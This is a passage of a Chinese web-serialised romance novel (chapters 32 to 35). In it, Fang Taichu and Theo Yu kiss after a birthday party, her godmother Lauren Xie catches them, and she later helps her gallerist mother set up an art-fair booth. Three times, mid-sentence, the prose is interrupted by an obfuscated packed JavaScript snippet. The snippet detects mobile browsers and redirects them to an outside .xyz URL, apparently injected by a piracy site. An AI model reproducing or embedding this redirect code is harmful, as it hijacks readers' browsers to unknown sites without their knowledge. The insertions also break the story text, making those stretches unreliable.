杨敏中一眼就看见了人群中的余萧弋,款款向他走过来,“嗨,Theo,你回来了?”然后才像刚看到小初似的,讶然道:“这位美女是?不介绍一下吗?” 因为主角光环,全场的目光都向他们投射了过来。 余萧弋揽过小初的腰,笑得魅力非凡,“我女朋友,方太初。” “啊,是吗?你好,欢迎来参加我的生日派对。”杨敏中向小初伸出手来。 小初没办法,也只能礼节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325783|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性地和人家握了握,并说了句:“生日快乐杨小姐。” 趁她不注意,她忍不住踩了余萧弋的脚一下,这个家伙,到底是听不懂人话还是在拿她挡桃花? 余萧弋始终弯着唇,眼睛都没眨一下,只是放在她腰间的手,又紧了几分。 杨敏中跟小初说:“我和Theo很小就认识了,主要是因为两家的大人都是多年的好朋友,所以方小姐你不要拘谨,玩得开心一点。” 小初笑:“谢谢你啊杨小姐,我会的。” 一群人都围了过来,一边喝酒一边聊起了天。 小初不喝酒,余萧弋就交代侍者帮忙拿杯橘子汁过来,还特别说明不要加冰。 杨敏中说:“看不出Theo余做男朋友竟然是这么体贴的。” 余萧弋漫不经心笑笑:“要是对谁都体贴,不就成了中央空调了吗?未免给不相干的人造成太重心理负担。” 杨敏中神色一暗,说了句,是。 小初敏锐地感觉到了什么,不经意看了二人一眼。 人群中突然有人提起,前面余萧弋做游戏输了还没有接受惩罚呢,现在是不是要表演个什么节目给大家啊? 余萧弋喝了口酒,问:“有吗?” 铭仔那个缺根弦的叫得最大声,“有啊,怎么没有!” 余萧弋看了看小初,说:“那好吧,我弹一段钢琴给大家吧。” 人群开始欢呼鼓掌。 小初神色一动,他竟真的会弹钢琴,没有浪费那么修长的手指。 他覆到她耳边来,小声说了句:“好好听啊,唱给你的。” 小初心尖儿一痒,耳朵骤然开始发烫,还没等她回过神来,他已经漫不经心坐到钢琴边去了。 而后他清了清喉咙,“张敬轩的《未知》。” 小初听不懂粤语,只好打开了搜索引擎找出了歌词。 我近来被某事烦住 这事情自觉甚奇异 我未明白当中的用意 谁个行为令我怀疑 眼内藏住了暗示 疑惑问我如何处置 多么想知想要知 我想叫TA索性 将心声写上白纸 “……” 明明歌词这么不安,可间奏的钢琴却让人无端听出了情绪发泄的味道来。 感觉他也快承受不住了,整个世界就要秩序崩塌了。 他的嗓音条件很好,唱粤语歌的样子更是多了几分松弛的性感,除此之外,他弹钢琴的节奏也控制得很流畅,看得出这一项也是他从小真的花时间用心练习过的,至少,在她这个对钢琴还算略懂些皮毛的人眼里,可以称得上完美。 小初的手指逐渐收紧,唇压在了玻璃杯沿上,橘子汁充斥在味蕾的那一瞬,她想起了那片橘子海,以及……她和他的初吻。 杨敏中转过头来朝她笑笑:“方小姐,你好幸福,要不是你在,他可未必赏脸弹琴给我们听。”顿了顿,又说:“只是这首歌选的吧……也太让人浮想联翩了。” 小初弯了弯眼角,“因为我喜欢这首歌,怎么,不好听吗?” “没有没有,好听的。” 现场气氛似被点燃了似的热烈,余萧弋停住手指,并直直向小初走来,“不好意思啊,各位,我们俩明天还有早课,就不陪你们继续了啊,大家玩得开心。” 铭仔嘘了一声,“是不是啊?那么爱学习?” 小初向杨敏中颔了颔首:“杨小姐,再次祝你生日快乐。” 杨敏中一愣,但很快笑了笑,“好的,改天再聚。” 两人走出酒店,又手拉手过了马路。 整个过程始终没人说话。 等到小初酒店楼下的时候,余萧弋突然开口,问她:“要不,我上去陪你睡?然后明天一块去帮你妈妈干体力活?我保证,我什么都不做,就只是睡个觉。” 小初不敢相信自己听见了什么,感觉自己的三观整个被他颠覆了。 不是,她仔细想了想,无比确定她没疯,也没得老年痴呆,她们之前是说好了分手的,没错吧? 所以,疯的那个人,是他? “可以吗?你怕你妈妈发现的话,我可以天不亮就偷偷离开。” 小初觉得他好像在拿她当傻瓜。 当模型里被调整的变量。 只为得到他想要的那个结果。 “再见,晚安。”小初摆了摆手,转身就走。 “等等。”他扯住她,“不行的话,那就只是亲亲也可以的。” “你是不是有……” “病”字还没说出口,她的唇就已经被他含住。 这一次,不再是浅尝辄止的唇对唇的简单碰触,而是真正的深吻。 橘子汁的味道在两人唇齿之间蔓延开来,小初有些站不住,不自觉抓住了他衣服的下摆,连带着两个人有那么一瞬都差点跌倒。 他吻得太迫切,凶狠,根本不给她任何理性思考的时间,不知道是不是错觉,小初好像尝到了他口腔中的烟草味,她记得他明明不抽烟的,怎么会有烟草味呢。 亲了很久,直亲到两人的唇都有点湿漉漉的他才停下来,下一秒,似是怕她直接去扇他的巴掌,他干脆用西装外套把她紧紧裹在了怀中。 “你现在怎么这么无赖啊。” “因为,我发现,对付你这种铁石心肠的人,耍无赖这招,最管用。” 他笑得魅惑丛生。 “……” 小初踮起脚尖对着他吻下去,吻得间隙还没忘说一句:“那你就大错特错了。” “所以今晚?” 小初不说话,整个世界就只剩下眼前这一刻。 33.第 33 章 “余萧弋,很晚了。” 深吻是一件很耗费体力的事,小初总算知道。明明也没做什么剧烈的动作,身体却哪哪都是柔软的,空虚的,滚烫的。 暂时失去了深入思考能力的她就只想这么一动不动靠在他胸前,听听他心跳的声音。同她一样,他的心跳节奏也很快,像一个初尝情欲美妙滋味的兽正在觉醒,至于它觉醒后会发生什么可怕的事,她不敢想。 “嗯,很晚了。”他重复了一遍。 “我得回去了。” “我知道,再两分钟。” 小初轻哼一声,语气有种无意识的撒娇味道,“鬼才信你,这已经是第几个两分钟了?” “就是不想你走。”余萧弋调整了下站姿,下巴在她的头发上蹭了蹭,“你在想什么?” “我在想,半年后该怎么办。” 余萧弋紧了紧抱着她的手臂:“我会去北京看你,我看了下,香港飞北京最快航班只要三个多小时,或者乘高铁,现在交通这么发达,只要想见面,这点距离算什么问题?” 他这么说,小初不知怎么有点想哭,开口说的却是,“这样的辛苦,余少坚持得过三个月吗?” “我十八岁开始一个人在外面生活,衣食住行全部自己操心,灯泡坏了自己换,水管开花自己修,几个小时的飞机和高铁而已,你真当我只识风花雪月不识人间疾苦呢?” “那再之后呢?等你去了美国,也这样奔波吗?” 余萧弋换成抓着她肩膀的动作,语气有些无奈,“方小姐,享受当下好吗?人如果一直想着不好的事情,那它就一定会发生的,乐观点,你会快乐很多。” 小初瓮声瓮气:“我就是觉得兰因絮果是世界上最遗憾的事,如果是这样,还不如一开始就淡一点。” “感情这事谁能收放自如?你能吗?” 小初勾唇,“我但愿我能。”过了两秒,她才若无其事地说了句,“我没跟你说,我爸妈离过婚。” 余萧弋沉默了一下,视线停在她隐有碎光流动的眸子上。 “离了十年,后面又和好了。”小初笑笑,“很离谱是吧?” “没有离谱,只说明他们的缘分本来就未尽。”余萧弋心疼地帮她把被风吹乱的头发别到耳后去,“你会因为这件事在感情上没安全感吗?” 小初摇头,“我只是有点困扰,花了很长时间思考他们的婚姻。” “别想那么多,他们的果,是甜还是苦,自有他们自己品尝。” 小初笑:“真看不出,余萧弋你还挺会劝人。所以,你爸妈感情还好吗?” 余萧弋刮了刮她的鼻子,故意逗她,“感情不好会接二连三地生孩子吗?我算了算,他们大概有七八年,一直在生育和抚养幼崽,虽然家里帮忙的人也多,但你不知道,我妈妈是个事业型女性,还是为家庭牺牲了她很多自我的。他们俩个性很和,也愿意包容彼此,反正我长这么大,就没有听见他们吵过架。” 小初向他投去羡慕的目光。 余萧弋又笑:“当然,也可能人家夫妻相处的秘诀就是不当着外人吵,有矛盾都是在房间里互抽耳光。” 小初被他逗笑,“有你这么当儿子的?”又问他:“你和你弟弟妹妹感情好吗?” “好啊,他们都很可爱。弟弟十七岁,除了不爱读书其他都还好,妹妹十五岁,和一般青春期的女孩子无异,喜欢追追星看看漫画玩玩游戏什么的,除了早恋这事有点让人头疼,总体还是乖的。” 小初睨他:“她十五岁,你说她早恋,然后说自己早过了法定结婚年龄……Theo余,你不要太双标。” 余萧弋俯身亲吮了吮她的唇瓣,学她说话语气:“那你别管。” 小初有些羞涩:“我得走了。” “好,我送你到门口。” 一共五十米的距离,两人又拉扯了快十分钟。 终于到了不得不分开时。 余萧弋再次抱了抱她,半是哄半是引导,“别担心未来,你只要做你自己就好,其余的交给我,在怎么疼爱太太维持好婚姻这件事上,我有遗传基因。只是……” 他的目光逐渐认真,“你不能像今天这样,随便就把分手两个字挂在嘴边,至少,你要先让我知道你在想什么,记住了吗?” 小初心脏猝不及防停了一下,感觉自己已逐渐难以招架,连耳后皮肤都染上了绯红,“大晚上还要教育人,烦不烦。” 余萧弋笑:“晚安。”又说:“所以你明天要去会展中心帮你妈妈拆箱布展是吧?我看了下那边离学校还蛮近的,真的不要我过去帮忙吗?” 小初立刻摆手:“不要!” “怕什么,你就说我是你同学嘛,同学之间互相帮忙很正常吧。” “那是你不知道我妈妈有多聪明。” 一辆黑色商务车缓缓在酒店门口停下,小初打了个哈欠,看了看表,时间已经过了十二点,她是真的有点熬不住了,“我上去了啊。” 余萧弋点点头,“嗯,到房间记得给我发个信息。” 小初转过身去,还没走三步,就又打了两个哈欠。 余萧弋刚好捕捉到她如此可爱的一面,瞬间失笑。 然后第四步,小初就迎面和电梯里出来的人撞到了一起,正要道歉,下一秒,来人就极度震惊地率先开了口,“小初?大半夜不睡觉你跑出来干嘛来了?” 小初忽地抬起头,瞌睡虫瞬间消失无踪,“干妈!这么晚了您要出去?我妈呢?”一边说一边疯狂在背后朝余萧弋摆手示意他快走。 谢令妤灰白色短发配黑色褶皱长裙,在夜色中尤为炫酷和犀利,比下午聚餐时更像个导演了,当然,在不明真相的人眼中也很有点……不好惹。 余萧弋看了小初的手势,还以为她遇上了什么麻烦,快步跑上前来,不经意将她半挡在身后,然后才问:“发生什么事?” 他,在,干,什,么? 脑子里轰然一声过后,小初感觉她整个人都被按下了暂停键,连呼吸都开始滞涩。 谢令妤似笑非笑地先将余萧弋上上下下仔细看了一遍,才挑眉看向小初,“说说吧,你打算怎么收买我。” 小初心一横,知道也再瞒不过她,索性讨好地弯了弯眼睛,“干妈,您最疼我的,对不对?” 余萧弋愣住,反应过来后整张脸立刻染上了一层薄红,他也不明白向来沉稳周全的他怎么一碰上和她有关的事就会不自觉乱了阵脚,原来她刚刚手掌在背后摆动的动作不是叫他过来,而是让他快点消失? 那,现在再消失还来得及吗? 谢令妤好整以暇的,“还不介绍一下?” 小初没办法,只好红着脸帮二人做了介绍,称谢令妤是干妈,到了余萧弋这,她踌躇了一下,还是说了实话,称他为——男朋友。 余萧弋从善如流,也赶紧随着小初喊了谢令妤一声:“干妈。” 谢令妤摆手,目光极为深邃:“不必,我这辈子就方太初一个干女儿,别人这么叫我不太习惯,你叫我Lauren就行。” 余萧弋冷汗已爬满脊背,只好应了声,是。 小初也是第一次见到谢令妤气场如此强大的一面,不禁也有些心慌,她和她虽然在生活中接触不多,但黄亦玫和方协文但凡去美国,或者她和李湛回中国,无论是私人行程还是出公差,他们都一定会碰面的。 她房间里好多玩具书籍还有她喜欢的外籍明星签名照,都是谢令妤寄给她的,可以说,她对她的爱,是一丝一毫都没有掺假,但她在她心中一直都是洒脱又豪爽的形象啊,今天怎么这么严肃。 谢令妤看了二人一眼,到底无奈叹了口气,“我有个应酬要出去一下,时间很晚了,小初,你赶紧回去休息。这位……” 余萧弋颔首,像个乖训的小学生,“Theo,Theo余。” 谢令妤不置可否,只说:“你身上的西装,如果我没看错,是Brioni这一季致敬五十年代首届时装秀的复刻款?” 余萧弋惊讶于对方毒辣的时尚眼光,面上却依旧毕恭毕敬,不经意地解释,“是,今天刚好是我和太初共同的一个好朋友过生日,派对地点刚好就在附近,所以才过来接她过去坐了一会儿,时间确实有点晚了,是我的错。” 小初这才有点明白谢令妤是做什么了,原来是给余萧弋下马威呢,不禁心底好笑,干妈这是怕她在他手里吃亏?她又好奇侧眸过去看了看余萧弋早已不成样子的西装,看了半晌也没看出上面有什么明显的Logo,这谢令妤到底是怎么看出来衣服的品牌的? 导演毕竟是导演,果然慧眼如炬,不仅要懂得识人,有专业审美,会故事构建,擅长协调和决策,对各个领域的知识都要有所涉猎才行。 谢令妤点点头,这才笑了,“小子,你要是见了我就已经这么紧张,回头见了她爸,我怕你直接哭出来。” 小初抗议:“干妈,被你说得老方好凶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336780|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢令妤睨她一眼:“凶不凶要看什么事,别的都还好,事关他的掌上明珠,就不太好说。” 余萧弋不敢再说话。 门口商务车的司机打了下双闪。 谢令妤看了眼余萧弋:“走吧?你住哪里?要不要我让司机先送你?” “不敢麻烦,我住得很近。”余萧弋看了眼小初,“我先回学校了啊,明天联系。” 说完还未待小初回答,他就转了身,没过十秒,就从她们的视线里彻底消失了。 谢令妤看了小初好一会儿,才没好气点了点她的头,“跟我们玩灯下黑是吧?人竟然都带到这来了。” 小初一肚子委屈,又不是她让他来的,却也只能小声说道:“事情不是您想的那样。” 谢令妤轻哼一声:“不管怎么样,这小子卖相确实比一般小明星都好一些,难怪你看陈槐东都毫无波澜。” 小初:“……” 谢令妤语重心长,“干妈不反对你谈恋爱,但你毕竟还小,要永远记得先保护好自己,知道吗?” 小初不敢直视她的眼睛,期期艾艾问了句,“那……那我妈那边?” “黄亦玫已经睡了。你和你爸妈之间的事,我不掺和,但是姓余那小子要是敢欺负你,我这关他绝对过不了。” 小初赶紧说:“没有没有,他对我还是很好的。” 谢令妤恨铁不成钢,“行了,快去吧。” 小初上了电梯,看着数字一点点跳上去,脑子里已乱成一团,总觉得事情已经往她控制不了的方向去了。 路过黄亦玫房间门口的时候她走得额外蹑手蹑脚,虽然知道走廊柔软的地毯根本不会让她发出任何吵醒她的声音,但她就是心虚。 她房间外面请勿打扰的牌子还安安静静挂在那里,她特务一样刷了房卡,那个电子钥匙生效的声音在午夜听来额外刺耳,她赶紧闪身进去,用后背抵住房门,总算有惊无险。她长舒口气,继而腿一软,踉跄两步直直倒在了床上,连衣服都没脱,就拉过被子将自己埋在了里面。 不知过了多久,她的心跳和呼吸才恢复如常。 原以为自己是什么处乱不惊做大事的人,如今只是地下恋情被家里发现就吓成这样,未免也太没出息了些。 余萧弋的微信进来了。 问她:「你到房间了吗?」 小初答:「到了,你呢?」 「我在街边,刚买了瓶水,打算喝几口先缓缓。」 小初在被子里大笑,她猜他此刻也有种劫后余生的释然,「你好歹也应该是见过些世面的,怎么还怕成这样?」 「不是害怕,是紧张。你看我今晚这德行,白色西装都不知道乱七八糟蹭了什么东西上去了,整个人都灰扑扑脏兮兮的,你干妈肯定把我当成不学无术专门哄骗单纯小女孩的浪荡子了,第一印象给人这么差,后面可要怎么办?」 「不至于。」 「你都不懂,我刚才甚至生怕她稍稍一个转身,腰间藏的是枪套,下一秒枪就要抵在我脑门上了。Lauren小姐气场太强,眼睛简直鹰一样,越夜越亮。」 小初乐不可支:「她是个导演,你刚刚说的这套动作,恐怕她还真行云流水。」 说完这句,她就把手机扔在了床上,进卫生间迅速洗了个澡。 等她披散着半湿不干的头发走出来的时候,余萧弋已发了几条消息过来。 「你是说,她是个导演??」 「查到了,她竟然就是著名的华裔导演Lauren Xie?」 「所以,今天坐路边和你谈笑风生的那个,就是她即将开拍的电影的男主角,陈槐东? 方太初,你身上到底还有多少我不知道的秘密?」 小初却还不想把一段简单的关系扩大到她控制不了的范围,想了想,还是以揶揄的语气回道:「你想太多,刘姥姥都能绞尽脑汁攀上一门豪亲,我只是认识个拍电影的导演就满身的秘密了?Lauren Xie是我妈妈读研究生时候的同学,仅此而已。」 他笑:「那好,明天下课后我就去会展中心帮忙布展,你觉得怎么样?」 小初心脏扑通地跳了起来。 她其实还拿不太准余萧弋行事风格。 半晌,他才又补了一条过来:「我说笑的,傻瓜。快睡吧,快一点了。」 后面还附着一个可爱的表情包。 长耳朵狗举着牌子。 上面印的是——爱你。 34.第 34 章 第二天一早还没到八点半,黄亦玫就过来敲门了。 昨晚洗完澡吹干头发就已经快凌晨一点半,再加上一整晚辗转反侧,小初其实并没有怎么睡饱,但她见四十几岁的方太太还这么精力旺盛身体力行,也不敢怠慢,只能硬着头皮起了床。 想一想,也大概明白了父母的苦心。他们不想让她活在空中楼阁,只把钱看做数字,不知道它连接着怎样的现实生活,很多东西若是没了敬畏心,就很容易走极端。 打开门,黄亦玫和她助理奚柠就走了进来,两人穿着同款的黑色T恤,上面印着设计很特别的四个艺术字,“蔓蔓艺廊”。 黄亦玫把另一件同款T恤递给她,笑道:“换上吧,小方同学,今天辛苦你,晚上公司会按照馆里临时工的标准给你日结薪资哈。” 小初打了哈欠,接过来,无精打采说了声:“哦,谢谢黄总。” 黄亦玫狐疑:“你昨天不是很早就睡了吗?怎么今天还这么困?” 小初一凛,心想她妈妈果然不是什么好糊弄的人,可她这么耳聪目明,怎么偏偏就对她老公铺天盖地的绯闻视而不见呢?难道这就是他们夫妻心照不宣的相处秘诀吗? 她昨晚睡前又在微博上搜了下方协文三这个字,竟意外发现连肖小雨都是过去时了,这次被传得最甚嚣尘上的女主叫胡潆心,去年才入职亦方行政部,在营销号发出来的数张照片中,多次大型活动方协文身边都有伊人身影,在一众员工中,就属她的身体语言最暧昧,看他的眼神最崇拜。 据相关“知情人”透露,方总已经多年没有遇到这样一朵纯白解语花,所以对其非常疼爱和珍惜。 小初特地把她的照片放大仔细观摩了一下,发现其确实也就只能称得上清纯,无论相貌还是气质,都和“美人”两字毫不相干,只是胜在年轻。 可谁又能敌得过年轻呢?她的年龄乘以二,才是黄亦玫前年生日的数字。 小初为妈妈不值。 不管事情是真是假,本身能让自己以绯闻缠身的形象出现在公众视线中,不就是方协文作为丈夫,作为企业负责人的失职吗? 他实在难辞其咎。 “秋困,黄总没听过呀。”小初接过T恤,才想起来自己昨天穿来的是一条裙子,“糟了,我忘记带裤子来了。” 奚柠笑:“给你准备了,昨天在机场看见你的时候我就想着这事儿了,你差不多也就穿25码吧?” 奚柠递过来一条牛仔裤。 小初瞪大眼睛:“奚柠姐,你们黄总有你真是她的福气。” 奚柠笑:“那你先换,我到另外一个房间看看黄总还有什么东西落下没有。” 然后就退出门去把空间留给了母女二人。 裤子的质量和版型都很不错,小初看了眼价签,倒是不贵,这个分寸和尺度一般情商的绝对拿捏不来,她心悦诚服。 “妈,回头裤子钱你别忘了给人家啊。”小初一边换衣服一边跟黄亦玫说道。 黄亦玫嗔她一眼:“知道啦,方小姐。” 换好衣服,两人一同站在穿衣镜前,同样的T恤衫配牛仔裤,酷似到极致的两张脸。 诚然岁月对黄亦玫还是温柔的,让她在这个年纪依然风华绝代,美得令人惊心动魄。 小初却不知为何生出惊惧来,因为她突然意识到,这可能是她妈妈最后的春天了,再过一两年,一旦超过五十岁,她体内维持美貌的激素就会急速流失,然后她会老,头发会失去光泽,逐渐白发丛生,眼角会生出皱纹,连瞳孔都会变得浑浊,再不复青春和明艳。 而方协文却依然可以顶着成功人士的光环四处招惹风流,言情小说最喜欢写年轻女孩趴在老男人膝盖之上聆听他的失败他的成功他的痛苦他的爱,他充满遗憾的青春,可谁又知道岁月赋予他的成熟的魅力是从另一个隐忍而伟大的女人的血肉里破茧而出的? 这世道,太不公平。 她不是接受不了妈妈变老,她只是接受不了女神的深情也会被如此践踏和辜负,她这么美,这么好,原应该得到命运最温柔的对待,不是吗? 小初的眼泪不知不觉流了下来。 黄亦玫吓一跳,赶紧转身抽了张纸巾过来帮她擦了擦,轻声哄道:“怎么了宝贝,大早晨怎么还哭上了?” “妈。”小初再也不想克制,她一把搂住黄亦玫的脖子,放声大哭,“我……”她想说点什么,却又因为哽咽得太厉害什么都说不出来,只是一直哭。 黄亦玫不知道发生了什么事,却也不受控制地跟着泪了目,母女之间的情感连结本就超过这世上所有,女儿此刻的痛苦和无助,她完全能够感同身受。 “别哭,有什么事和妈妈说说,妈妈看看能不能帮你分析解决一下。”她一下一下轻轻拍着小初的脊背,轻声轻语地安慰着。 “学业上有困难?” “因为叶子瑜?” “跟同学闹矛盾了?” 小初始终摇头。 “那是什么?不习惯这边的气候和饮食?想家?要不要妈妈过来陪你一段时间?” “都不是。”小初努力平复了一下情绪,“我只是想和你说,我特别特别爱你,妈妈,我特别特别爱你。” “我也爱你呀。”黄亦玫轻轻抚了抚她的头发,“就为这个就哭了啊?” 小初眼睛红红的,又看了看镜子中的两人:“妈,我不想你变老。” “傻瓜,人哪有不变老的?”黄亦玫豁达一笑,“再说,妈妈老了还有你啊,你就是我的生命和青春的延续不是吗?你看咱俩长得多像?” 小初吸了吸鼻子,瓮声瓮气的,“哪里像,我连妈妈的一半都比不上。都怪我爸拉低了我的颜值。” 黄亦玫公正地说:“瞎说,你爸也好看呀。” 小初更想哭了,她竟然还如此爱他。 他到底何德何能。 “妈,你当年到底为什么选择他?你那么优秀,出身,学历样样无可挑剔,还长得那么美,我爸就一个小地方来的穷小子,除了写代码什么都不会,我猜他连你的画都看不懂,谈恋爱不是都应该找灵魂伴侣吗?”小初比当事人还意难平。 黄亦玫笑,温柔从唇边笑涡蔓延开来,“当然是因为他也很优秀,也样样无可挑剔呀。” 小初才不信。 “我奶奶一个人就足够给他减一百分,我说的是满分十分的情况下。” 黄亦玫被逗笑,点了点她的额头,“不许胡说。”又看了看表,“你稍微收拾一下,我们得出发了。” 小初最终还是没忍住,直接把压在心底很久的问题抛了出去,“妈,你知不知道最近几个月网上都是我爸的绯闻?” 黄亦玫愣了一下。 过了一会儿才犹疑地问道:“所以你最近几个月心情不好不仅是因为子瑜?” 小初有些无奈,“妈,叶子瑜在我这早翻篇了,您以后别老提了。” “你爸的绯闻都是假的,你以后也少看。” 小初诧异:“假的?你怎么知道?” 黄亦玫叹口气:“你爸最近在谈一个G端项目,你知道吧?” 小初思考了一下,“和这个政府项目有关?” 黄亦玫的神情逐渐凝重:“嗯,这个项目一旦被亦方谈成,业内很多东西就要重新洗牌,你说,那些竞争者会不急吗?私人生活这些东西,恐怕还只是前菜,至于后招是什么,目前还不好说。” 这次,轮到小初震惊到失语。 黄亦玫温柔拍了拍小初肩膀:“我和你爸本来是不想你知道这些的,你从小就照同龄人心思细腻很多,我们就怕你因此太内耗。小初,你长大了,知道为爸爸妈妈分担压力了,对此我们都很欣慰,但是你现在还小,最要紧的是你自己的学业,还有,青春就只有一次,你要开心点过才对呀,别总是老气横秋的,操心这个操心那个的,好吗?我们大人都会处理好大人的事的。” 小初又有点想哭。 竟然,只是这样? 真的吗? “还有。”黄亦玫嗔她,“我和爸爸很好,你不许再猜疑我们的关系了哦。” “哦。”小初深吸了口气。 “不过,我才发现你确实像你爸。”黄亦玫眨眨眼。 小初不明所以,“什么?” “因为,你们都说了同一句话,黄亦玫,我特别特别爱你。” “God。”小初做了个肉麻的表情,指了指洗手间,“我去洗漱了OK?” 黄亦玫大笑:“快!加速加速!” 到会展中心的时候很多家画廊都已经开始布置了,展馆到处都是未拆封的纸箱,空气里都是拆封口纸的声音和电钻的轰鸣。 小初的心情已经许久没有像今天这么愉悦过,她感觉自己现在浑身都是力气,别说黄总还按临时工的薪酬给她日结,就是一分钱不给,她也能帮他们大干三天的体力活。 看见摊位门口堆放的纸箱,她第一个冲了上去,跃跃欲试道:“是要先把这里面的东西拆出来是吗?那我们就开始吧!” “哎!”黄亦玫一把拉住她,吓得魂差点飞出去,“小祖宗!你当心,那里面都是各个艺术家的杰作!你给我碰坏了我们今年半年就要白干了!” 小初愣住,“啊?” 黄亦玫说:“你靠后,如果能远一点就更好。” 小初有些无语,“那您还叫我过来干嘛?” 黄亦玫大笑:“你等下,一会儿这满地就都是垃圾啊保利龙碎片什么的,你去保洁那领两套清洁工具来,帮忙打扫打扫卫生就行。” 小初不敢相信自己听到了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小初整个人都像水煮过的虾子一样了,不仅浑身泛红,而且行动迟缓。 “方太初!” 那个“同学”也发现了她,比之前任何时候看见她都热情一万倍。 小初不可思议地停住脚步,目光惊恐。 那个一头黄毛戴着浮夸耳钉的,正在和黄亦玫侃侃而谈的,曾经恨不得见一次面就要奚落她一次的,不正是…… 铭仔? 他来干什么! “方太初。”铭仔看向她,一副如梦初醒的模样,“这位黄小姐就是你妈妈?我的天,她长得好漂亮啊!也太年轻了吧?怎么做到的,什么医美项目,快分享分享,回头我要把那个配方卖给整个香港的贵妇!” “你闭嘴吧。”小初没好气地瞪了他一眼。 黄亦玫倒是没和愣头青计较,只问小初:“这是你同学?” 小初不吭声,谁跟这种人是同学啊。 铭仔却一副自来熟模样,“是的伯母,我叫林铭锵,你叫我铭仔就好啦。我是来帮忙干活的,之前就听方太初说了,你们这缺人手是吧?” 林铭锵,小初冷笑,真是可惜了这么好的一个名字。 “啊……”黄亦玫疑惑看了眼小初,却也不好拒绝,想必也是个要勤工俭学才能养活自己的孩子,算了算了。 “是的。”她爽朗答道。 “太好了,你看下,我都能干些什么?” 小初把他拉到一边,无比咬牙切齿,“你在搞什么?” 铭仔压低声音,“没办法,我最近有难处,Theo说了,只有我跟你搞好关系,他才肯从中帮忙。你别误会啊,我对你没有好感的。” 小初忍了又忍才没动手揍他,“谁要你对我有好感!”又问,“Theo余干嘛呢?” 铭仔耸耸肩:“我唔知呀。” 转眼看见黄亦玫在搬一只箱子,他立刻哈士奇一样蹿了过去,一脸谄媚,“我来我来,这种事,男人来就好了。” 小初几乎将牙咬碎。 她再次跑到出口去联系余萧弋,这一次,直接打的电话。 “余萧弋,你搞什么?” 那边好整以暇,“不想你辛苦,所以发配个人过去帮忙而已,你干嘛这么大反应。” “……” “不跟你说了啊,我约了梁培风见面,我快迟了。” “梁培风?”小初被惊到,“你见他干嘛?” “没干嘛,我已准备加入你们的数学建模大赛小组,全权负责论文部分,同时担任队长。”余萧弋笑:“所以我提醒你啊,方太初小姐,接下来的两个月,都请对我客气一点,不然我真的会让你体会到官大一级有多压人的。” 小初无语看了看天空。 今日万里无云。 有微风。 35.第 35 章 方太初看着黄亦玫指挥工人将一条巨型的白色“丝巾”悬挂到天花板上。 “丝巾”由数条长短不一的金属线牵着,展馆内是中央空调统一控温,可这条“丝巾”却无风自动,像变幻的云,也像汹涌的浪,美得让人根本移不开眼。 安装完毕后黄亦玫亲自按下墙上的开关,“丝巾”随即由白色变成透明,又逐渐渲染成各种不同颜色,比刚刚纯白色时候更加绚丽动人,有点像冷烟花绽放后的天空。 铭仔目瞪口呆欣赏了半天,才跟小初感叹道:“方太初,你妈妈真是个天才,她是怎么想出来这个创意的啊?” 小初侧了侧眸,眼底流露出一丝同情,“她是个天才肯定没错,但这件作品来自意大利的艺术先锋Anthony Rizzo,跟她真没关系。而且这玩意不就用了点空气动力学和半导体发光技术吗,你至于这么激动吗?” “你真无趣,也不知Theo喜欢你什么。”铭仔扯了扯卫衣的领子,嘟囔了一句。 小初眉心一跳,迅速往黄亦玫方向看了一眼,幸而她的注意力都在展品上,并未察觉他们在聊什么。 “别在这里提他。”小初压低声音,递了个警告的眼神过去。 没想到这句话反倒引起了他的兴趣,“不是吧方太初!人家Marissa杨费尽心机只要他一点点钟意,到你这却连个名分都不肯给?我好心提醒你,欲擒故纵也要有个限度,Theo余可不是菜场里随你挑来拣去的鱼!” 铭仔的声音比刚才更提高了几分,吓得小初一把就捂住了他的嘴,咬牙切齿道,“都说了叫你别在这里提他!” 两人动静太大,终于把黄亦玫的视线从工人的电钻上成功吸引了过来,下一秒就愣住,“小初,你俩干嘛呢?” “没干嘛!”小初笑得欲盖弥彰,“我们俩在讨论这作品应该叫什么名字,我猜《春天》他猜《意识》,我说他故作高深,他说我想象力匮乏,哈哈,真没啥事,黄总,您忙,您忙。” 黄亦玫已经很久没看见小初和同龄男生亲密相处的样子,不知怎么反而有点欣慰,嗔怪道:“讨论就讨论,你也别用抹布捂人家嘴啊。” 小初这才反应过来,倏地松开了手。 铭仔怪叫着跳到了一米开外去,恶心得差点吐出来,“方太初!你太过分了!呸呸呸,这块布刚刚是不是擦过桌子!” 小初好整以暇,“去,你干脆跳得更远点,看看墙上的标签到底写的是什么?” 铭仔一边用矿泉水漱口一边骂骂咧咧去了,待看清作品名字心情瞬间阴转晴,“方太初,我说你想象力匮乏说错了吗?这作品名字叫《Me》!没想到吧!” “《蜜》?蜂蜜的蜜吗?这东西哪里像蜂蜜了?”小初表示不理解。 “是英文的我!”铭仔忍无可忍,“你就一点艺术细胞没从黄小姐身上遗传吗?” 黄小姐…… 这个家伙是不是在借机向女神献殷勤? 